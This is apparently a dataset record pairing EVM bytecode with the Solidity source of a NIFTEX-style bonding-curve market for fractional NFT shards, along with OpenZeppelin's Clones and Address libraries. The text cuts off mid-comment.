0000000000000000000000000000000000000001690633a58598890606401600060405180830381600087803b158015611ade57600080fd5b505af1158015611af2573d6000803e3d6000fd5b505050508060096000828254611b089190612f78565b90915550506001600160a01b0382166000908152600a602052604081208054839290611b35908490612f78565b90915550506040518181526001600160a01b0383169033907f46fd11d98227e9c54f39734c7aa744b4551b6734cf4d69b046e7a199b66119849060200160405180910390a360405163317afabb60e21b8152600481018290527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063c5ebeaec906024016020604051808303816000875af1158015611be1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c059190612e41565b15611c425760405162461bcd60e51b815260206004820152600d60248201526c1093d49493d5d7d19052531151609a1b604482015260640161093d565b611c766001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001683836125f4565b604051636e553f6560e01b8152600481018290523060248201526001600160a01b03831690636e553f65906044016020604051808303816000875af1158015611cc3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da69190612e41565b611cfd336000356001600160e01b0319166126cf565b611d195760405162461bcd60e51b815260040161093d90612e95565b6001600160a01b0382166000908152600a6020526040902054158015611d7157507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b611dad5760405162461bcd60e51b815260206004820152600d60248201526c24a72b20a624a22faa27a5a2a760991b604482015260640161093d565b816001600160a01b0316836001600160a01b0316336001600160a01b03167fa0fae858a9c4a671705052e5103905b60b9c710986ae33bbd7c4108a96e8bdec84604051611dfc91815260200190565b60405180910390a4611e186001600160a01b0383168483612779565b505050565b6000611e28836125e9565b905080611e655760405162461bcd60e51b815260206004820152600b60248201526a5a45524f5f53484152455360a81b604482015260640161093d565b611e9a6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001633308661288b565b611ea48282612915565b60408051848152602081018390526001600160a01b0384169133917fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7910160405180910390a36108e5838261296f565b6000546001600160a01b0316331480611f89575060015460405163b700961360e01b81526001600160a01b039091169063b700961390611f4890339030906001600160e01b03196000351690600401612f29565b602060405180830381865afa158015611f65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f899190612f56565b611f9257600080fd5b600180546001600160a01b0319166001600160a01b03831690811790915560405133907fa3396fd7f6e0a21b50e5089d2da70d5ac0a3bbbd1f617a93f134b7638998019890600090a350565b6000611fe9836120ed565b90506120206001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001633308461288b565b61202a8284612915565b60408051828152602081018590526001600160a01b0384169133917fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7910160405180910390a36108e5818461296f565b600380546107d090612e5a565b336000908152600560205260408120805483919083906120a8908490612ed1565b90915550506001600160a01b0383166000818152600560205260409081902080548501905551339060008051602061302d833981519152906108d99086815260200190565b6004546000908015610875576108706121046106a9565b8490836126a1565b6000612117846108eb565b9050336001600160a01b03831614612187576001600160a01b03821660009081526006602090815260408083203384529091529020546000198114612185576121608282612ed1565b6001600160a01b03841660009081526006602090815260408083203384529091529020555b505b6121918482612a97565b61219b8282612bb8565b60408051858152602081018390526001600160a01b03808516929086169133917ffbde797d201c681b91056529119e0b02407c7bb96a4a2c75c01fc9667232c8db910160405180910390a46108776001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000168486612779565b6000336001600160a01b0383161461228a576001600160a01b03821660009081526006602090815260408083203384529091529020546000198114612288576122638582612ed1565b6001600160a01b03841660009081526006602090815260408083203384529091529020555b505b6122938461191c565b9050806122d05760405162461bcd60e51b815260206004820152600b60248201526a5a45524f5f41535345545360a81b604482015260640161093d565b6122da8185612a97565b6122e48285612bb8565b60408051828152602081018690526001600160a01b03808516929086169133917ffbde797d201c681b91056529119e0b02407c7bb96a4a2c75c01fc9667232c8db910160405180910390a46108776001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000168483612779565b6004546000908015610875576108708161237b6106a9565b859190612682565b6001600160a01b0381166000908152600560205260408120546108e590610851565b428410156123f55760405162461bcd60e51b815260206004820152601760248201527f5045524d49545f444541444c494e455f45585049524544000000000000000000604482015260640161093d565b60006001612401610db0565b6001600160a01b038a811660008181526007602090815260409182902080546001810190915582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98184015280840194909452938d166060840152608083018c905260a083019390935260c08083018b90528151808403909101815260e08301909152805192019190912061190160f01b6101008301526101028201929092526101228101919091526101420160408051601f198184030181528282528051602091820120600084529083018083525260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa15801561250d573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906125435750876001600160a01b0316816001600160a01b0316145b6125805760405162461bcd60e51b815260206004820152600e60248201526d24a72b20a624a22fa9a4a3a722a960911b604482015260640161093d565b6001600160a01b0390811660009081526006602090815260408083208a8516808552908352928190208990555188815291928a16917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b60006108e582612363565b600060405163095ea7b360e01b8152836004820152826024820152602060006044836000895af13d15601f3d116001600051141617169150508061266b5760405162461bcd60e51b815260206004820152600e60248201526d1054141493d59157d1905253115160921b604482015260640161093d565b50505050565b60006108778383670de0b6b3a76400005b82820281151584158583048514171661269a57600080fd5b0492915050565b8282028115158415858304851417166126b957600080fd5b6001826001830304018115150290509392505050565b6001546000906001600160a01b03168015801590612759575060405163b700961360e01b81526001600160a01b0382169063b70096139061271890879030908890600401612f29565b602060405180830381865afa158015612735573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127599190612f56565b8061277157506000546001600160a01b038581169116145b949350505050565b600060405163a9059cbb60e01b8152836004820152826024820152602060006044836000895af13d15601f3d116001600051141617169150508061266b5760405162461bcd60e51b815260206004820152600f60248201526e1514905394d1915497d19052531151608a1b604482015260640161093d565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60026040516128239190612f90565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b60006040516323b872dd60e01b81528460048201528360248201528260448201526020600060648360008a5af13d15601f3d116001600051141617169150508061290e5760405162461bcd60e51b81526020600482015260146024820152731514905394d1915497d19493d357d1905253115160621b604482015260640161093d565b5050505050565b80600460008282546129279190612f78565b90915550506001600160a01b03821660008181526005602090815260408083208054860190555184815260008051602061302d83398151915291015b60405180910390a35050565b6008546001146129915760405162461bcd60e51b815260040161093d90612ee8565b60026008556129ac336001600160e01b0319600035166126cf565b6129c85760405162461bcd60e51b815260040161093d90612e95565b60405163140e25ad60e31b8152600481018390527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063a0712d68906024016020604051808303816000875af1158015612a2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a539190612e41565b15612a8e5760405162461bcd60e51b815260206004820152600b60248201526a1352539517d1905253115160aa1b604482015260640161093d565b50506001600855565b600854600114612ab95760405162461bcd60e51b815260040161093d90612ee8565b6002600855612ad4336001600160e01b0319600035166126cf565b612af05760405162461bcd60e51b815260040161093d90612e95565b60405163852a12e360e01b8152600481018390527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063852a12e3906024016020604051808303816000875af1158015612b57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b7b9190612e41565b15612a8e5760405162461bcd60e51b815260206004820152600d60248201526c14915111515357d19052531151609a1b604482015260640161093d565b6001600160a01b03821660009081526005602052604081208054839290612be0908490612ed1565b90915550506004805482900390556040518181526000906001600160a01b0384169060008051602061302d83398151915290602001612963565b600060208083528351808285015260005b81811015612c4757858101830151858201604001528201612c2b565b81811115612c59576000604083870101525b50601f01601f1916929092016040019392505050565b600060208284031215612c8157600080fd5b5035919050565b6001600160a01b0381168114612c9d57600080fd5b50565b60008060408385031215612cb357600080fd5b8235612cbe81612c88565b946020939093013593505050565b600060208284031215612cde57600080fd5b813561087781612c88565b600080600060608486031215612cfe57600080fd5b8335612d0981612c88565b92506020840135612d1981612c88565b929592945050506040919091013590565b60008060408385031215612d3d57600080fd5b823591506020830135612d4f81612c88565b809150509250929050565b600080600060608486031215612d6f57600080fd5b833592506020840135612d8181612c88565b91506040840135612d9181612c88565b809150509250925092565b600080600080600080600060e0888a031215612db757600080fd5b8735612dc281612c88565b96506020880135612dd281612c88565b95506040880135945060608801359350608088013560ff81168114612df657600080fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215612e2657600080fd5b8235612e3181612c88565b91506020830135612d4f81612c88565b600060208284031215612e5357600080fd5b5051919050565b600181811c90821680612e6e57607f821691505b60208210811415612e8f57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252600c908201526b15539055551213d49256915160a21b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015612ee357612ee3612ebb565b500390565b6020808252600a90820152695245454e5452414e435960b01b604082015260600190565b600060208284031215612f1e57600080fd5b815161087781612c88565b6001600160a01b0393841681529190921660208201526001600160e01b0319909116604082015260600190565b600060208284031215612f6857600080fd5b8151801515811461087757600080fd5b60008219821115612f8b57612f8b612ebb565b500190565b600080835481600182811c915080831680612fac57607f831692505b6020808410821415612fcc57634e487b7160e01b86526022600452602486fd5b818015612fe05760018114612ff15761301e565b60ff1986168952848901965061301e565b60008a81526020902060005b868110156130165781548b820152908501908301612ffd565b505084890196505b50949897505050505050505056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220f3792b8f1c4b477fedf2b2994f04f2ac1ba7c945e77b5abcf5c0222043c2ac6564736f6c634300080a0033a26469706673582212200af7ac96d90955844af3e10b11700ea620177d19e379952a3f3ddc93af13253464736f6c634300080a0033
[ 4, 11, 9, 29, 12, 16, 5, 2 ]
0xf2E51F87814412aCCEc654765474EAa3Ad89454E
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/proxy/Clones.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "./ERC20.sol"; import "../wallet/ShardedWallet.sol"; import "../governance/IGovernance.sol"; import "../interface/IERC1363Receiver.sol"; import "../interface/IERC1363Spender.sol"; contract LiquidityToken is ERC20 { address public controler; modifier onlyControler() { require(msg.sender == controler); _; } constructor() { controler = address(0xdead); } function initialize(address controler_, string memory name_, string memory symbol_) public { require(controler == address(0)); controler = controler_; _initialize(name_, symbol_); } function controllerTransfer(address sender, address recipient, uint256 amount) public onlyControler { _transfer(sender, recipient, amount); } function controllerMint(address account, uint256 amount) public onlyControler { _mint(account, amount); } function controllerBurn(address account, uint256 amount) public onlyControler { _burn(account, amount); } } // used by CustomPricingCurveDeployer.sol contract CustomPricingCurve is IERC1363Spender { struct CurveCoordinates { uint256 x; uint256 k; } struct Asset { uint256 underlyingSupply; uint256 feeToNiftex; uint256 feeToArtist; } LiquidityToken immutable internal _template; // bytes32 public constant PCT_FEE_SUPPLIERS = bytes32(uint256(keccak256("PCT_FEE_SUPPLIERS")) - 1); bytes32 public constant PCT_FEE_SUPPLIERS = 0xe4f5729eb40e38b5a39dfb36d76ead9f9bc286f06852595980c5078f1af7e8c9; // bytes32 public constant PCT_FEE_ARTIST = bytes32(uint256(keccak256("PCT_FEE_ARTIST")) - 1); bytes32 public constant PCT_FEE_ARTIST = 0xdd0618e2e2a17ff193a933618181c8f8909dc169e9707cce1921893a88739ca0; // bytes32 public constant PCT_FEE_NIFTEX = bytes32(uint256(keccak256("PCT_FEE_NIFTEX")) - 1); bytes32 public constant PCT_FEE_NIFTEX = 0xcfb1dd89e6f4506eca597e7558fbcfe22dbc7e0b9f2b3956e121d0e344d6f7aa; LiquidityToken public etherLPToken; LiquidityToken public shardLPToken; CurveCoordinates public curve; Asset internal _etherLPExtra; Asset internal _shardLPExtra; address public wallet; address public recipient; uint256 public deadline; event Initialized(address wallet); event ShardsBought(address indexed account, uint256 amount, uint256 cost); event ShardsSold(address indexed account, uint256 amount, uint256 payout); event ShardsSupplied(address indexed provider, uint256 amount); event EtherSupplied(address indexed provider, uint256 amount); event ShardsWithdrawn(address indexed provider, uint256 payout, uint256 shards, uint256 amountLPToken); event EtherWithdrawn(address indexed provider, uint256 value, uint256 payout, uint256 amountLPToken); event KUpdated(uint256 newK, uint256 newX); constructor() { _template = new LiquidityToken(); wallet = address(0xdead); } function initialize( uint256 supply, address wallet_, address recipient_, address sourceOfFractions_, uint256 k_, uint256 x_, uint256 liquidityTimelock_ ) public payable { require(wallet == address(0)); string memory name_ = ShardedWallet(payable(wallet_)).name(); string memory symbol_ = ShardedWallet(payable(wallet_)).symbol(); etherLPToken = LiquidityToken(Clones.clone(address(_template))); shardLPToken = LiquidityToken(Clones.clone(address(_template))); etherLPToken.initialize(address(this), string(abi.encodePacked(name_, "-EtherLP")), string(abi.encodePacked(symbol_, "-ELP"))); shardLPToken.initialize(address(this), string(abi.encodePacked(name_, "-ShardLP")), string(abi.encodePacked(symbol_, "-SLP"))); wallet = wallet_; recipient = recipient_; deadline = block.timestamp + liquidityTimelock_; emit Initialized(wallet_); // transfer assets if (supply > 0) { require(ShardedWallet(payable(wallet_)).transferFrom(sourceOfFractions_, address(this), supply)); } { // setup curve curve.x = x_; curve.k = k_; } address mintTo = liquidityTimelock_ == 0 ? recipient_ : address(this); // mint liquidity etherLPToken.controllerMint(mintTo, msg.value); shardLPToken.controllerMint(mintTo, supply); _etherLPExtra.underlyingSupply = msg.value; _shardLPExtra.underlyingSupply = supply; emit EtherSupplied(mintTo, msg.value); emit ShardsSupplied(mintTo, supply); } function buyShards(uint256 amount, uint256 maxCost) public payable { uint256 cost = _buyShards(msg.sender, amount, maxCost); require(cost <= msg.value); if (msg.value > cost) { Address.sendValue(payable(msg.sender), msg.value - cost); } } function sellShards(uint256 amount, uint256 minPayout) public { require(ShardedWallet(payable(wallet)).transferFrom(msg.sender, address(this), amount)); _sellShards(msg.sender, amount, minPayout); } function supplyEther() public payable { _supplyEther(msg.sender, msg.value); } function supplyShards(uint256 amount) public { require(ShardedWallet(payable(wallet)).transferFrom(msg.sender, address(this), amount)); _supplyShards(msg.sender, amount); } function onApprovalReceived(address owner, uint256 amount, bytes calldata data) public override returns (bytes4) { require(msg.sender == wallet); require(ShardedWallet(payable(wallet)).transferFrom(owner, address(this), amount)); bytes4 selector = abi.decode(data, (bytes4)); if (selector == this.sellShards.selector) { (,uint256 minPayout) = abi.decode(data, (bytes4, uint256)); _sellShards(owner, amount, minPayout); } else if (selector == this.supplyShards.selector) { _supplyShards(owner, amount); } else { revert("invalid selector in onApprovalReceived data"); } return this.onApprovalReceived.selector; } function _buyShards(address buyer, uint256 amount, uint256 maxCost) internal returns (uint256) { IGovernance governance = ShardedWallet(payable(wallet)).governance(); address owner = ShardedWallet(payable(wallet)).owner(); address artist = ShardedWallet(payable(wallet)).artistWallet(); // pause if someone else reclaimed the ownership of shardedWallet require(owner == address(0) || governance.isModule(wallet, owner)); // compute fees uint256[3] memory fees; fees[0] = governance.getConfig(wallet, PCT_FEE_SUPPLIERS); fees[1] = governance.getConfig(wallet, PCT_FEE_NIFTEX); fees[2] = artist == address(0) ? 0 : governance.getConfig(wallet, PCT_FEE_ARTIST); uint256 amountWithFee = amount * (10**18 + fees[0] + fees[1] + fees[2]) / 10**18; // check curve update uint256 newX = curve.x - amountWithFee; uint256 newY = curve.k / newX; require(newX > 0 && newY > 0); // check cost uint256 cost = newY - curve.k / curve.x; require(cost <= maxCost); // consistency check require(ShardedWallet(payable(wallet)).balanceOf(address(this)) - _shardLPExtra.feeToNiftex - _shardLPExtra.feeToArtist >= amount * (10**18 + fees[1] + fees[2]) / 10**18); // update curve curve.x = curve.x - amount * (10**18 + fees[1] + fees[2]) / 10**18; // update LP supply _shardLPExtra.underlyingSupply += amount * fees[0] / 10**18; _shardLPExtra.feeToNiftex += amount * fees[1] / 10**18; _shardLPExtra.feeToArtist += amount * fees[2] / 10**18; // transfer ShardedWallet(payable(wallet)).transfer(buyer, amount); emit ShardsBought(buyer, amount, cost); return cost; } function _sellShards(address seller, uint256 amount, uint256 minPayout) internal returns (uint256) { IGovernance governance = ShardedWallet(payable(wallet)).governance(); address owner = ShardedWallet(payable(wallet)).owner(); address artist = ShardedWallet(payable(wallet)).artistWallet(); // pause if someone else reclaimed the ownership of shardedWallet require(owner == address(0) || governance.isModule(wallet, owner)); // compute fees uint256[3] memory fees; fees[0] = governance.getConfig(wallet, PCT_FEE_SUPPLIERS); fees[1] = governance.getConfig(wallet, PCT_FEE_NIFTEX); fees[2] = artist == address(0) ? 0 : governance.getConfig(wallet, PCT_FEE_ARTIST); uint256 newX = curve.x + amount; uint256 newY = curve.k / newX; require(newX > 0 && newY > 0); // check payout uint256 payout = curve.k / curve.x - newY; require(payout <= address(this).balance - _etherLPExtra.feeToNiftex - _etherLPExtra.feeToArtist); uint256 value = payout * (10**18 - fees[0] - fees[1] - fees[2]) / 10**18; require(value >= minPayout); // update curve curve.x = newX; // update LP supply _etherLPExtra.underlyingSupply += payout * fees[0] / 10**18; _etherLPExtra.feeToNiftex += payout * fees[1] / 10**18; _etherLPExtra.feeToArtist += payout * fees[2] / 10**18; // transfer Address.sendValue(payable(seller), value); emit ShardsSold(seller, amount, value); return value; } function _supplyEther(address supplier, uint256 amount) internal { etherLPToken.controllerMint(supplier, calcNewEthLPTokensToIssue(amount)); _etherLPExtra.underlyingSupply += amount; emit EtherSupplied(supplier, amount); } function _supplyShards(address supplier, uint256 amount) internal { shardLPToken.controllerMint(supplier, calcNewShardLPTokensToIssue(amount)); _shardLPExtra.underlyingSupply += amount; emit ShardsSupplied(supplier, amount); } function calcNewShardLPTokensToIssue(uint256 amount) public view returns (uint256) { uint256 pool = _shardLPExtra.underlyingSupply; if (shardLPToken.totalSupply() == 0) { return amount; } uint256 proportion = amount * 10**18 / (pool + amount); return proportion * shardLPToken.totalSupply() / (10**18 - proportion); } function calcNewEthLPTokensToIssue(uint256 amount) public view returns (uint256) { uint256 pool = _etherLPExtra.underlyingSupply; if (etherLPToken.totalSupply() == 0) { return amount; } uint256 proportion = amount * 10**18 / (pool + amount); return proportion * etherLPToken.totalSupply() / (10**18 - proportion); } function calcShardsForEthSuppliers() public view returns (uint256) { uint256 balance = ShardedWallet(payable(wallet)).balanceOf(address(this)) - _shardLPExtra.feeToNiftex - _shardLPExtra.feeToArtist; return balance < _shardLPExtra.underlyingSupply ? 0 : balance - _shardLPExtra.underlyingSupply; } function calcEthForShardSuppliers() public view returns (uint256) { uint256 balance = address(this).balance - _etherLPExtra.feeToNiftex - _etherLPExtra.feeToArtist; return balance < _etherLPExtra.underlyingSupply ? 0 : balance - _etherLPExtra.underlyingSupply; } function withdrawSuppliedEther(uint256 amount) external returns (uint256, uint256) { require(amount > 0); uint256 etherLPTokenSupply = etherLPToken.totalSupply(); uint256 balance = address(this).balance - _etherLPExtra.feeToNiftex - _etherLPExtra.feeToArtist; uint256 value = (balance <= _etherLPExtra.underlyingSupply) ? balance * amount / etherLPTokenSupply : _etherLPExtra.underlyingSupply * amount / etherLPTokenSupply; uint256 payout = calcShardsForEthSuppliers() * amount / etherLPTokenSupply; // update balances _etherLPExtra.underlyingSupply *= etherLPTokenSupply - amount; _etherLPExtra.underlyingSupply /= etherLPTokenSupply; etherLPToken.controllerBurn(msg.sender, amount); // transfer Address.sendValue(payable(msg.sender), value); if (payout > 0) { ShardedWallet(payable(wallet)).transfer(msg.sender, payout); } emit EtherWithdrawn(msg.sender, value, payout, amount); return (value, payout); } function withdrawSuppliedShards(uint256 amount) external returns (uint256, uint256) { require(amount > 0); uint256 shardLPTokenSupply = shardLPToken.totalSupply(); uint256 balance = ShardedWallet(payable(wallet)).balanceOf(address(this)) - _shardLPExtra.feeToNiftex - _shardLPExtra.feeToArtist; uint256 shards = (balance <= _shardLPExtra.underlyingSupply) ? balance * amount / shardLPTokenSupply : _shardLPExtra.underlyingSupply * amount / shardLPTokenSupply; uint256 payout = calcEthForShardSuppliers() * amount / shardLPTokenSupply; // update balances _shardLPExtra.underlyingSupply *= shardLPTokenSupply - amount; _shardLPExtra.underlyingSupply /= shardLPTokenSupply; shardLPToken.controllerBurn(msg.sender, amount); // transfer ShardedWallet(payable(wallet)).transfer(msg.sender, shards); if (payout > 0) { Address.sendValue(payable(msg.sender), payout); } emit ShardsWithdrawn(msg.sender, payout, shards, amount); return (payout, shards); } function withdrawNiftexOrArtistFees(address to) public { uint256 etherFees = 0; uint256 shardFees = 0; if (msg.sender == ShardedWallet(payable(wallet)).artistWallet()) { etherFees += _etherLPExtra.feeToArtist; shardFees += _shardLPExtra.feeToArtist; delete _etherLPExtra.feeToArtist; delete _shardLPExtra.feeToArtist; } if (msg.sender == ShardedWallet(payable(wallet)).governance().getNiftexWallet()) { etherFees += _etherLPExtra.feeToNiftex; shardFees += _shardLPExtra.feeToNiftex; delete _etherLPExtra.feeToNiftex; delete _shardLPExtra.feeToNiftex; } Address.sendValue(payable(to), etherFees); ShardedWallet(payable(wallet)).transfer(to, shardFees); } function updateKAndX(uint256 newK_, uint256 newX_) public { ShardedWallet sw = ShardedWallet(payable(wallet)); uint256 effectiveShardBal = sw.balanceOf(msg.sender) + shardLPToken.balanceOf(msg.sender) * sw.balanceOf(address(this)) / shardLPToken.totalSupply(); require(effectiveShardBal == sw.totalSupply()); curve.x = newX_; curve.k = newK_; assert(curve.k > 0); assert(curve.x > 0); emit KUpdated(curve.k, curve.x); } function transferTimelockLiquidity() public { require(deadline < block.timestamp); etherLPToken.controllerTransfer(address(this), recipient, getEthLPTokens(address(this))); shardLPToken.controllerTransfer(address(this), recipient, getShardLPTokens(address(this))); } function getEthLPTokens(address owner) public view returns (uint256) { return etherLPToken.balanceOf(owner); } function getShardLPTokens(address owner) public view returns (uint256) { return shardLPToken.balanceOf(owner); } function transferEthLPTokens(address to, uint256 amount) public { etherLPToken.controllerTransfer(msg.sender, to, amount); } function transferShardLPTokens(address to, uint256 amount) public { shardLPToken.controllerTransfer(msg.sender, to, amount); } function getCurrentPrice() external view returns (uint256) { return curve.k * 10**18 / curve.x / curve.x; } function getEthSuppliers() external view returns (uint256, uint256, uint256, uint256) { return (_etherLPExtra.underlyingSupply, etherLPToken.totalSupply(), _etherLPExtra.feeToNiftex, _etherLPExtra.feeToArtist); } function getShardSuppliers() external view returns (uint256, uint256, uint256, uint256) { return (_shardLPExtra.underlyingSupply, shardLPToken.totalSupply(), _shardLPExtra.feeToNiftex, _shardLPExtra.feeToArtist); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create opcode, which should never revert. */ function clone(address implementation) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `implementation` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address implementation, bytes32 salt, address deployer) internal pure returns (address predicted) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(implementation, salt, address(this)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and 